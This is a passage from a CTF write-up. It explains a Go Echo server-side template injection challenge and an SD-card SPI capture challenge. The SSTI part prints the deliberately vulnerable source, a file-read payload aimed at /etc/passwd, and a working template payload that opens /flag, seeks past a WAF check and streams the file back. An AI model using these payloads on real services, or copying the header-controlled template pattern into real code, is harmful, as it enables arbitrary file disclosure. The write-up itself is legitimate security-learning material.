server.listen({ host: '0.0.0.0', port: 3000 })

Reading through the code, basically, it will make a request to http://app:3001 in local, and then it will check whether the response has ACSC on it or not. If there is, it won’t return the full response of the app.

Let’s continue by checking the app server code.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
package main

import (
	"bytes"
	"fmt"
	"html/template"
	"net/http"
	"os"

	"github.com/labstack/echo/v4"
	"github.com/labstack/echo/v4/middleware"
)

func templateMiddleware(next echo.HandlerFunc) echo.HandlerFunc {
	return func(c echo.Context) error {
		file, err := os.Open("./template.html")
		if err != nil {
			return err
		}
		stat, err := file.Stat()
		if err != nil {
			return err
		}
		buf := make([]byte, stat.Size())
		_, err = file.Read(buf)
		if err != nil {
			return err
		}

		userTemplate := c.Request().Header.Get("Template")

		if userTemplate != "" {
			buf = []byte(userTemplate)
		}

		c.Set("template", buf)
		return next(c)
	}
}

func handleIndex(c echo.Context) error {
	tmpl, ok := c.Get("template").([]byte)

	if !ok {
		return fmt.Errorf("failed to get template")
	}

	tmplStr := string(tmpl)
	t, err := template.New("page").Parse(tmplStr)
	if err != nil {
		return c.String(http.StatusInternalServerError, err.Error())
	}

	buf := new(bytes.Buffer)

	if err := t.Execute(buf, c); err != nil {
		return c.String(http.StatusInternalServerError, err.Error())
	}

	return c.HTML(http.StatusOK, buf.String())
}

func main() {
	e := echo.New()

	e.Use(middleware.Logger())
	e.Use(middleware.Recover())

	e.GET("/", handleIndex, templateMiddleware)

	e.Logger.Fatal(e.Start(":3001"))
}

Notice that in templateMiddleware, there is a logic where:

  • If user request header Template is set, it will use the user template instead of the default template. and set it in the echo.Context.

And then, in the handleIndex, it will:

  • Fetch the stored Template inside echo.Context
  • Serve the template.
    • And also during serving the template, it injects echo.Context into it.

From those codes, we can see the app is vulnerable to Server-Side Template Injection, because we can define our own template. However, there is a WAF that we need to bypass as well if we’re able to read the /flag file because the content of the read file isn’t allowed to contain ACSC.

Exploitation

Now that we know the bug, I decided to browse first on how SSTI in Golang works. This article helps me a lot on understanding how the SSTI works. The . scope in the template is coming from the injected echo.Context variable. Basically, what we need to do to solve this challenge is:

  • Find a good method under echo.Context so that we can read the /flag
  • Remove the ACSC string in the flag before returning it.

Now, based on that article, it is actually very easy to read a file. We can inject {{ .File "/etc/passwd" }} to read a file, because echo.Context interface has File method

1
2
    // File sends a response with the content of the file.
    File(file string) error

However, we can’t do that directly to the /flag because the WAF will prevent it.

So, I decided to explore the echo.Context interface one by one. First thing that I notice:

  • echo.Context has Echo() command to get back to the echo instance.

So, I try to explore the Echo definition.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// Located in echo/echo.go
type (
	// Echo is the top-level framework instance.
	//
	// Goroutine safety: Do not mutate Echo instance fields after server has started. Accessing these
	// fields from handlers/middlewares and changing field values at the same time leads to data-races.
	// Adding new routes after the server has been started is also not safe!
	Echo struct {
		filesystem
		common
		// startupMutex is mutex to lock Echo instance access during server configuration and startup. Useful for to get
		// listener address info (on which interface/port was listener binded) without having data races.
		startupMutex sync.RWMutex
		colorer      *color.Color

		// premiddleware are middlewares that are run before routing is done. In case a pre-middleware returns
		// an error the router is not executed and the request will end up in the global error handler.
		premiddleware []MiddlewareFunc
		middleware    []MiddlewareFunc
		maxParam      *int
		router        *Router
		routers       map[string]*Router
		pool          sync.Pool

		StdLogger        *stdLog.Logger
		Server           *http.Server
		TLSServer        *http.Server
		Listener         net.Listener
		TLSListener      net.Listener
		AutoTLSManager   autocert.Manager
		DisableHTTP2     bool
		Debug            bool
		HideBanner       bool
		HidePort         bool
		HTTPErrorHandler HTTPErrorHandler
		Binder           Binder
		JSONSerializer   JSONSerializer
		Validator        Validator
		Renderer         Renderer
		Logger           Logger
		IPExtractor      IPExtractor
		ListenerNetwork  string

		// OnAddRouteHandler is called when Echo adds new route to specific host router.
		OnAddRouteHandler func(host string, route Route, handler HandlerFunc, middleware []MiddlewareFunc)
	}
)

I saw an interesting field embedded in the Echo struct, which is filesystem. I tried to explore that, and below is the result:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
// Located in io/fs/fs.go
...
// An FS provides access to a hierarchical file system.
//
// The FS interface is the minimum implementation required of the file system.
// A file system may implement additional interfaces,
// such as ReadFileFS, to provide additional or optimized functionality.
type FS interface {
	// Open opens the named file.
	//
	// When Open returns an error, it should be of type *PathError
	// with the Op field set to "open", the Path field set to name,
	// and the Err field describing the problem.
	//
	// Open should reject attempts to open names that do not satisfy
	// ValidPath(name), returning a *PathError with Err set to
	// ErrInvalid or ErrNotExist.
	Open(name string) (File, error)
}

// Located in echo/echo_fs.go
...
type filesystem struct {
	// Filesystem is file system used by Static and File handlers to access files.
	// Defaults to os.DirFS(".")
	//
	// When dealing with `embed.FS` use `fs := echo.MustSubFS(fs, "rootDirectory") to create sub fs which uses necessary
	// prefix for directory path. This is necessary as `//go:embed assets/images` embeds files with paths
	// including `assets/images` as their prefix.
	Filesystem fs.FS
}

func createFilesystem() filesystem {
	return filesystem{
		Filesystem: newDefaultFS(),
	}
}

// defaultFS exists to preserve pre v4.7.0 behaviour where files were open by `os.Open`.
// v4.7 introduced `echo.Filesystem` field which is Go1.16+ `fs.Fs` interface.
// Difference between `os.Open` and `fs.Open` is that FS does not allow opening path that start with `.`, `..` or `/`
// etc. For example previously you could have `../images` in your application but `fs := os.DirFS("./")` would not
// allow you to use `fs.Open("../images")` and this would break all old applications that rely on being able to
// traverse up from current executable run path.
// NB: private because you really should use fs.FS implementation instances
type defaultFS struct {
	prefix string
	fs     fs.FS
}

func newDefaultFS() *defaultFS {
	dir, _ := os.Getwd()
	return &defaultFS{
		prefix: dir,
		fs:     nil,
	}
}

func (fs defaultFS) Open(name string) (fs.File, error) {
	if fs.fs == nil {
		return os.Open(name)
	}
	return fs.fs.Open(name)
}

// Located in os/file.go
...
// Open opens the named file for reading. If successful, methods on
// the returned file can be used for reading; the associated file
// descriptor has mode O_RDONLY.
// If there is an error, it will be of type *PathError.
func Open(name string) (*File, error) {
	return OpenFile(name, O_RDONLY, 0)
}

// Located in os/types.go
...
// File represents an open file descriptor.
type File struct {
	*file // os specific
}

// Located in os/file.go
...
// Seek sets the offset for the next Read or Write on file to offset, interpreted
// according to whence: 0 means relative to the origin of the file, 1 means
// relative to the current offset, and 2 means relative to the end.
// It returns the new offset and an error, if any.
// The behavior of Seek on a file opened with O_APPEND is not specified.
//
// If f is a directory, the behavior of Seek varies by operating
// system; you can seek to the beginning of the directory on Unix-like
// operating systems, but not on Windows.
func (f *File) Seek(offset int64, whence int) (ret int64, err error) {
	if err := f.checkValid("seek"); err != nil {
		return 0, err
	}
	r, e := f.seek(offset, whence)
	if e == nil && f.dirinfo != nil && r != 0 {
		e = syscall.EISDIR
	}
	if e != nil {
		return 0, f.wrapErr("seek", e)
	}
	return r, nil
}

Interesting, based on those code that I explore:

  • Echo has Filesystem field:
    • Which is an interface of fs.FS
    • Which is initialized by createFilesystem
  • Interface fs.FS has Open method
  • The underlying struct that is passed to Echo.Filesystem during initialization is actually defaultFS.
    • Reading through the Open implementation, calling Echo.Filesystem.Open will actually trigger os.Open and return os.File
    • Why is it os.Open? Because during calling the newDefaultFS(), the fs field was set to nil.
  • os.File has Seek method which can be used to adjust Read pointer.

Based on those exploration, a path to skip the ACSC before actually read the file can be seen. The chain that I can think of to do that is:

  • Call .Echo.Filesystem.Open "/flag", and then we will open a file and return an os.File struct.
  • Call Seek(4, 0) on the returned File. This will shift the file pointer and skip the ACSC part.

At this point, we have successfully seek the opened file. Now, the remaining part is how to return the opened file to the response. Exploring the echo.Context struct again, I found an interesting method

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
// Located in echo/context.go
...
func (c *context) Stream(code int, contentType string, r io.Reader) (err error) {
	c.writeContentType(contentType)
	c.response.WriteHeader(code)
	_, err = io.Copy(c.response, r)
	return
}


// Located in io/io/go
...
type Reader interface {
	Read(p []byte) (n int, err error)
}

By calling .Stream and pass the opened file, the opened file content will be copied and written to the response. We can pass an opened File because it implements Reader interface (due to File has implemented Read method)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
// Located in os/file.go
...
// Read reads up to len(b) bytes from the File and stores them in b.
// It returns the number of bytes read and any error encountered.
// At end of file, Read returns 0, io.EOF.
func (f *File) Read(b []byte) (n int, err error) {
	if err := f.checkValid("read"); err != nil {
		return 0, err
	}
	n, e := f.read(b)
	return n, f.wrapErr("read", e)
}

Now that we know how to return it in our response, below is the full payload that I used

1
{{ $f :=  .Echo.Filesystem.Open "/flag" }} {{ $f.Seek 4 0 }} {{ .Stream 200 "text/html" $f }}

https://i.imgur.com/doZ7ATE.png

We got the flag!

Flag: ACSC{h0w_did_y0u_leak_me}

Hardware

Hardware is not so hard (100 pts)

Quote
I have captured communication between a SD card and an embedded device. Could you extract the content of the SD Card? It’s in SPI mode.

Initial Analysis

On this challenge, we were given a file spi.txt which contents are like below (redacted because it’s too long):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
Device to SD Card : 400000000095
SD Card to Device : 01
Device to SD Card : 48000001aa87
SD Card to Device : 01000001aa
Device to SD Card : 770000000065
SD Card to Device : 01
Device to SD Card : 694000000077
SD Card to Device : 01
Device to SD Card : 770000000065
SD Card to Device : 01
...
...
...
Device to SD Card : 510000003eff
SD Card to Device : 00
SD Card to Device : fffffffffffffffffffffffffe00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Device to SD Card : 5100000029b3
SD Card to Device : 00
SD Card to Device : fffffffffffffffffffffffffe967bc2730f9a529597a525331c365782c5e1dccf09f2ec8420d931aec4cb62699016b47584ef13b0becb9a64669f2bc162eb84e274b706afc54c702243074898db42bb188688fd0a753e56a1b63b691d83d085de4b97a16af7a1a6266f8ba9887a43ce50b8fc44d833da84d28d4ea3d2fa5f392327a1a1f1385e037c4e3d8c5f0742a85c10272d523d38d34b1912187d6da26e3968cbe0beea7e53d161710a51646ba1fe46ad8858f818b0c5d2c7c4a51b24f05efa975317436275f894621088d05cae1a3136e21387d4fa91c314aaf0d5784f11270b24ee69df10641a13423b09d3827c38c55ea30416ca2d8e94a8f45f65768f7c264253c04b3e1be18904cc1254dbb3050a387574512a1e305c0eec7773e1427c37c41ed5162c8813a6728991ae98345599d1985269fd96d23fb1fd0a737bcf151db45b82d8bc9a54544107f63fb1fd0fe9e34c98620da2e68bbf918d1190825dbc2727076d957627fe9506d968796895a17e263d18641b7d1968af44b46087f41755e613b7af46488ca2b8422fd3060c15157e14a28a29a22a24bd981bd784d264445e15e213befe82ff000c99b070acbde62a4cc53146cfd8d0760efb1a74d3c18a257d11fe0aefd85a88f47fb3fd9af10842108421084e5a1ec7628c096448beb418dde281cd90f01796355f12f86c6427895e1bd75b29595c94bd11611f844d1a6871e8aba2ac836af01649

Based on the problem’s statement, we could deduce that this is the SPI interaction of SD Card. So, I decided to read the specification of SD Card SPI. After googling for a while, I found two good links which is enough to solve this challenge:

So, the first website explain the SD Card SPI Data Transfer Protocol. Basically, the command token format is always 6 bytes, where the specification is:

Based on those spec, let’s create a simple script to extract the command and argument from the given spi.txt. Below is the script:

1
2
3
4
5
6
7
8
9
f = open(f'spi.txt', 'rb')
lines = f.readlines()

for line in lines:
    if b'Device to SD Card : ' in line:
        full_cmd = int(line.split(b'Device to SD Card : ')[1].strip(), 16)
        cmd = int(bin(full_cmd)[2:][47-45:47-40], 2) # Based on the protocol specification
        arg = int(bin(full_cmd)[2:][47-39:47-8], 2) # Based on the protocol specification
        print(f'CMD: {cmd} | ARG: {arg}')

Below is the result (redacted because it’s too long)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
CMD: 0 | ARG: 0
CMD: 8 | ARG: 426
CMD: 23 | ARG: 0
CMD: 9 | ARG: 1073741824
CMD: 23 | ARG: 0
CMD: 9 | ARG: 1073741824
...
CMD: 17 | ARG: 0
CMD: 17 | ARG: 20
CMD: 17 | ARG: 54
CMD: 17 | ARG: 16
CMD: 17 | ARG: 14
CMD: 17 | ARG: 55
CMD: 17 | ARG: 21
CMD: 17 | ARG: 3
...

I notice that there are a lot of CMD17 commands and each of them has different arg values. Reading through the specification in the second link, it turns out that:

  • CMD17 is a command to read data from the SD Card per block.
  • The default block length is 512 bytes.
  • The argument represent the block position.

I feel that the read data is the flag, so I decided to create another script to parse the response of the CMD17based on the specification in the second link:

  • The start token is \xFE. So, the read data is started after the first occurence of \xFE.
  • The last two bytes are 16bit CRC.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
f = open(f'spi.txt', 'rb')
lines = f.readlines()

data_map = {}
prev_cmd = -1
prev_arg = -1
for line in lines:
    if b'Device to SD Card : ' in line:
        full_cmd = int(line.split(b'Device to SD Card : ')[1].strip(), 16)
        cmd = int(bin(full_cmd)[2:][47-45:47-40], 2) # Based on the protocol specification
        arg = int(bin(full_cmd)[2:][47-39:47-8], 2) # Based on the protocol specification
        print(f'CMD: {cmd} | ARG: {arg}')
        prev_cmd = cmd
        prev_arg = arg
    elif prev_cmd == 17:
        out = line.split(b'SD Card to Device : ')[1].strip()
        if len(out) < 512:
            continue # Not useful response
        resp = bytes.fromhex(out.decode())
        start = 0
        for idx, ch in enumerate(resp):
            if ch == 0xfe:
                start = idx+1
                break
        assert len(resp[start:]) == 514

        # Get data (512 bytes per CMD17)
        data = resp[start:start+512]
        assert len(data) == 512
        data_map[arg] = data
        print(f'Stored resp in data_map...')

for i in range(2):
    print(f'Data[{i}]: {data_map[i]}')

Below is the result (redacted because it’s too long):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
...
...
CMD: 17 | ARG: 27
Stored resp in data_map...
CMD: 17 | ARG: 23
Stored resp in data_map...
CMD: 17 | ARG: 11
Stored resp in data_map...
CMD: 17 | ARG: 24
Stored resp in data_map...
CMD: 17 | ARG: 9
Stored resp in data_map...
CMD: 17 | ARG: 45
Stored resp in data_map...
CMD: 17 | ARG: 2
Stored resp in data_map...
CMD: 17 | ARG: 8
Stored resp in data_map...
CMD: 17 | ARG: 62
Stored resp in data_map...
CMD: 17 | ARG: 41
Stored resp in data_map...
Data[0]: b"\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x01\x00H\x00H\x00\x00\xff\xdb\x00C\x00,\x1e!'!\x1c,'$'2/,5BoHB==B\x88afPo\xa1\x8d\xa9\xa6\x9e\x8d\x9b\x98\xb1\xc7\xff\xd8\xb1\xbc\xf1\xbf\x98\x9b\xde\xff\xe0\xf1\xff\xff\xff\xff\xff\xac\xd5\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xdb\x00C\x01/22B:B\x82HH\x82\xff\xb7\x9b\xb7\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc2\x00\x11\x08\x03U\x02\x80\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01\xff\xc4\x00\x19\x00\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\xff\xc4\x00\x18\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\xff\xda\x00\x0c\x03\x01\x00\x02\x10\x03\x10\x00\x00\x01\xf1\x80\x00\x00\x14\x00\x00\x00\x00R\x80\nR\x9a4n)\xa2\x9a(\x00\x00\x00\x00\x02\x80@\x00\x00\x00\x00\x00\x00\x01\xc4\xf1P\x00\x08\x00\x00\xa5:\x1a,R\x94\xa0\xa5)JP\n\x08\x00\x00\x00\x01@\x00\x00\x00\x00\x14\x10\x00\x00\x00\x00\x00\x00\x00d\xf9\xd4\x00\x02\x00\x00)\xe9\x8e\xe5\x00\x14\x00\x00\x00\x00P@\x00\x00\x02\x80\x00\x00\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\xf9\xb5\x90\x00 \x00\x02\x9e\xe8\xd8\x05\x00\x00\x00\x00\x00P@\x00\x00\x02\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01O\t\xc6\x80\x02\x00\x00)\xf4`\n\x00\x00\x00\x00\x05\x00\x00@\x00\x05\x00\x00\x00\x00\x02\x90\x00\x00\x00\x00\x00\x00\x00\x00(<\xa7\x96\x80\x10\x00\x00:\x9e\xe8\x00\x00\x00\x00\x00\x00\xa0\x00@\x01@\x00\x00\x00(\x00\x02\x00\x00\x00\x00\x00\x00\x00\n\x008\x9e\x1a\x02\x00\x00\x00\xf4G\xac\x00\x00\x00\x00\x00\x05\x00\x00@\n\x00\x00\x00\x00(\x00\x02\x00\x00\x00\x00\x00\x00\x00\n\x002|\xda\x00@\x00\x00\xf6Gp\x00\x00\x00\x00\x00\x14"
Data[1]: b'\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x80\x00\x00\x00\x00\x00\x00\x14\x00\x01\xf3k \x02\x00\x00=\xf1\xd0\x00\x00\x00\x00\x01@\x00\x00\x00\x00\x00\x00\x00\x00P\x00 \x00\x00\x00\x00\x00\x00(\x00\x00x\xab\x80\x00\x80\x00S\xe9@\x00\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x00\x02\x80\x00 \x00\x00\x00\x00\x00\n\x00\x00\x00y\x8f%\x00 \x00\x1b>\x8c@\x00\x00\x00\x01@\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x04\x00\x00\x00)\x00(\x00\x00\x00\x00\x86\x0f\x9f@\x08\x00\x07c\xdb\x02\x80\x08\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00P\x00\x00\x02\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00\x03\xe6\xd6@ \x00\x1e\xa8\xf5\x00\x00 \x00\xa0\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00@\x00\x00\xa0\x00\x00\x00\x00\x01\n\x01\x01O\x1dy\xc0 \x00\x1e\xd8\xee\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x00\x00\x00\x80\x00\x01@\x00\x00\x00\x00\x02\x00\x01\x83e8\x1e*\x02\x00\n{\xe3\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x80\x00\x00\x80\x00\x00\x00\xa0\x00\x00\x00\x02\x14\xe6SG\x03\xb1\xa3\x81\xdc\xc9\xf3h\x08\x00)\xf4\xa2\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00R\x00\x01H\x01HR\x14\x86A\xb0d\xd1\x82\x1b<\xe7sG\x03\xb9\xc4\xec\x0e\x07b\x9f>\xb9\x82\x00\r\x1fJ\x00\x00\x00\x00\x00\x00\x00\x00R\x00\x00\x05 2CF\x8c\x02\x94\x00S\x06Hh\xc9\xd4\xc1H\x0c\x94\xe8q;\x1c\xcc\x9d\xcc\x9c\x0e\xe4\x06\xce\x07py+\xcc\x08\x00:\x9e\xf8\x1c\xce\x842\r\x19)\xa3\x00\xd9\x90h\xe4u0h\xc1\xd0\xe0w9\x9a\x04\x06\x8c\x9a8\x9dM\x1c\xca@h\xe6u9\x9a4s(2t)\x83&\xcd\x19!N\x86\nC`\x00\x00\x07\x13\xc3B\x00\x0fA\xec\x8e@\xeap;\x83\x91N\x87\x13\xb0\x07\x13\xb08\x9d\x8eGC\x99A\x0e\xa6\x0c\x90\xd9\xa3 \xc1\xd8\x1c\xc1\nt0d\xeay\xcfI\x82\x1b2l\xc0\x06\x8a\x01\x00(\x00\x00\x00\x04>mB\x00\x0fY\xda0h\x18;'
Data[2]: b'\x90\x14\xe0S\xa9\r\x1cN\xc48\x9dL\x9a)\xc4\xeep=\x07"\x90\xd1L\x94\x80\xd0 )@!\r\x90\x14\x00\x00\x00\x02\x14\x00\x00\x00\x00\x0f\x05r \x00\xf7GR\x82\x03&\x88C`\xc9J`\xd1@\x00\x00\x002R\x80\x00\x00\x00\x00\x00\x00P\x00\x00\x00\x00\x00\x00\x00\x00\x10\xf2\x9ej\x80\x14\xfa1\xa0\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x80\x00\x00\x00\x00\x00\x00\x00\x01H\n\x00\x00\x00\x00\x00\x00\x08\x01N\'\x86\xa0\x06\x8f\xa5\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x01A\n\x00\x00\x00\x00\x00\x00\x00\x00\x87\xcd\xac\x80v=\xd0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00P\x00\x00\x00\x00\x00\x00\x00\x00\x02\x02\x9f>\xb9\x00z\x8fT\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x1eZ\xf2\x80{c\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00r<\x14)\xf4#`\x14\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xa6O\x99B\x9fN\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00P\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf9T:\x1fF \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>U\x0fA\xed\x81\n\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf9T=g\xaa\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x0f\x97T\xf7G`\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xe5U>\x94h\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x00\x10\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x95Z>\x9c\x00\x00\x00\x08\x00'

From that data, notice that the first data has JFIF file signature, which mean the stored data in the SD Card are a picture. Let’s try to extract that from the data that we got. Below is the full script that I use to extract it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
f = open(f'spi.txt', 'rb')
lines = f.readlines()

data_map = {}
prev_cmd = -1
prev_arg = -1
for line in lines:
    if b'Device to SD Card : ' in line:
        full_cmd = int(line.split(b'Device to SD Card : ')[1].strip(), 16)
        cmd = int(bin(full_cmd)[2:][47-45:47-40], 2) # Based on the protocol specification
        arg = int(bin(full_cmd)[2:][47-39:47-8], 2) # Based on the protocol specification
        print(f'CMD: {cmd} | ARG: {arg}')
        prev_cmd = cmd
        prev_arg = arg
    elif prev_cmd == 17:
        out = line.split(b'SD Card to Device : ')[1].strip()
        if len(out) < 512:
            continue # Not useful response
        resp = bytes.fromhex(out.decode())
        start = 0
        for idx, ch in enumerate(resp):
            if ch == 0xfe:
                start = idx+1
                break
        assert len(resp[start:]) == 514

        # Get data (512 bytes per CMD17)
        data = resp[start:start+512]
        assert len(data) == 512
        data_map[arg] = data
        print(f'Stored resp in data_map...')

full_data = b''
for i in range(64):
    assert data_map.get(i, -1) != -1
    full_data += data_map[i]

with open(f'spi_out.jpg', 'wb') as out_file:
    out_file.write(full_data)

After that, let’s try to open the output file.

https://i.imgur.com/hGpr1Cz.png

Turn out it is the flag!

Flag: ACSC{1tW@sE@syW@snt1t}

Social Media

Follow me on twitter